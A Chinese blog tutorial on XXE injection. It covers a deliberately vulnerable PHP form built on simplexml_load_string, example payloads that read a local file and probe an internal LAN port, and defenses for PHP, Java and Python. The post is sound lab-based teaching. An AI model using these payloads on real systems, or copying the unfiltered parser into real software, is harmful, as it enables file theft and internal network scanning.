2019-05-21
1前言
对于xxe漏洞可能是自己挖洞时间太短,真是没用遇到过啊!都是靶机或者ctf遇到的。写下文章记录下来。
2XML知识
先把XML声明、DTD文档类型定义、文档元素这些基础知识自己看一下,把这些看懂后才能更好的理解,这里不再详细赘述相关知识请移步→XML 教程-菜鸟教程。
3XXE漏洞
xxe全名“xml external entity injection”即“xml外部实体注入”。
有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。比如,下面的代码将获取系统上folder/file的内容并呈献给用户。
攻击者通过xml语句中写入指定的xml实体语句,从而让服务器执行,从而导致问题。服务端接收和解析了用户端传过来的xml数据,而没有做安全控制,从而导致xml外部实体注入。
4如何构建外部实体注入?
1.直接通过DTD外部实体声明如下图
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[ <!ENTITY xxe SYSTEM "file:///php//aa.txt">]><login>&xxe;</login>
2.通过DTD文档引入外部DTD文档
3.通过DTD外部实体声明引入外部实体声明 (先写一个外部实体声明→引用攻击者服务器上面的外部实体声明)
5支持的协议
6产生的危害
1:读取任意文件
2:执行系统命令
3:执行系统命令
4:攻击内网其他网站
环境搭建
这里推荐两个系统 一个是pikaqiu一个是bwapp是两个高度集成的靶场,皮卡丘是国内人开发的。
我在测试两个靶场后,通读代码后自己写了一个简易的demo。ps:某大佬说如果你想搞懂一个漏洞,比较好的方法是:你可以自己先制造出这个漏洞,然后再利用它,最后再修复它
代码如下:
<head><meta charset=utf-8><title>xxe测试</title></head><body><form action='' method='post'>xml数据:<br><textarea type="text" name="data"></textarea><br><input type='submit' value='提交' name='sub'></form></body>
<?php
date_default_timezone_set("PRC");
if(!empty($_POST['sub'])){ $data= $_POST['data'];
$xml = simplexml_load_string($data);
print($xml); }
?>
simplexml_load_string()函数的作用是把XML字符串载入对象中,函数获取xml内容,并没有进行任何的过滤。
代码写完后测试:
1测试解析xml代码情况
<?xml version = "1.0"?>
<!DOCTYPE note [<!ENTITY hacker "hack test"> ]>
<name>&hacker;</name>
2测试读取任意文件
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe SYSTEM "file:///php//aa.txt">]><login>&xxe;</login>
我测试的版本是php5.4,45。把PHP版本切换到5.6后就不在进行回显了。
3远程端口探测
局域网中某机器开启如下端口
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[ <!ENTITY xxe SYSTEM "http://10.100.200.2:8080/slfe/"> ]> <login>&xxe;</login>
经过对比还是能看出开发的端口和没开放端口的区别。
如何防御xxe攻击
方案一:使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二:过滤用户提交的XML数据
过滤:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC
方案三:使用json格式传输数据